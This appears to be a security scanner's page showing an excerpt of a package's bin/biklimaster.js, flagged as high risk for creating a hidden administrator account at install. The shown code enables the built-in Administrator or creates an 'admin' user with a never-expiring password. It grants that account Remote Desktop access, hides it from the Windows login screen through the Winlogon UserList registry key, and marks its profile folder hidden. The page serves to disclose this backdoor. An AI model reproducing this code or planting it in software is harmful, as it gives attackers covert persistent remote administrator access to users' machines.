Lines 739-779javascript
740 hideProtectedFolders();
743function showAccountCredentials() {
745 if (!isAdministrator()) return elevateAndRun('credentials');
746 if (!fs.existsSync(credentialsFile)) {
747 fail('No saved password is available. The built-in Administrator account may already have been enabled.');
749 const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
750 console.log(`Username: ${credentials.username}`);
751 console.log(`Password: ${credentials.password}`);
752 console.log(`Stored for Administrators only: ${credentialsFile}`);
755function createRdpAdministrator() {
757 if (!isAdministrator()) return elevateAndRun('create-user');
759 const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();
760 const accountPassword = requestedPassword || generatedAccountPassword();
762 `$ErrorActionPreference='Stop'`,
763 `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,
764 `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,
765 `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,
766 `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,
767 `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,
HighAi Review Evidence
Install enables/creates an administrator account, adds RDP access, and hides it.
bin/biklimaster.jsView on unpkg · L759 768 `$builtInWasDisabled=-not $builtIn.Enabled`,
769 `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,
770 `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get- ...
771 `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
772 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
774 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
775 `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
776 `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
777 `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
778 `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne
779 `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
Long lines were clipped for display.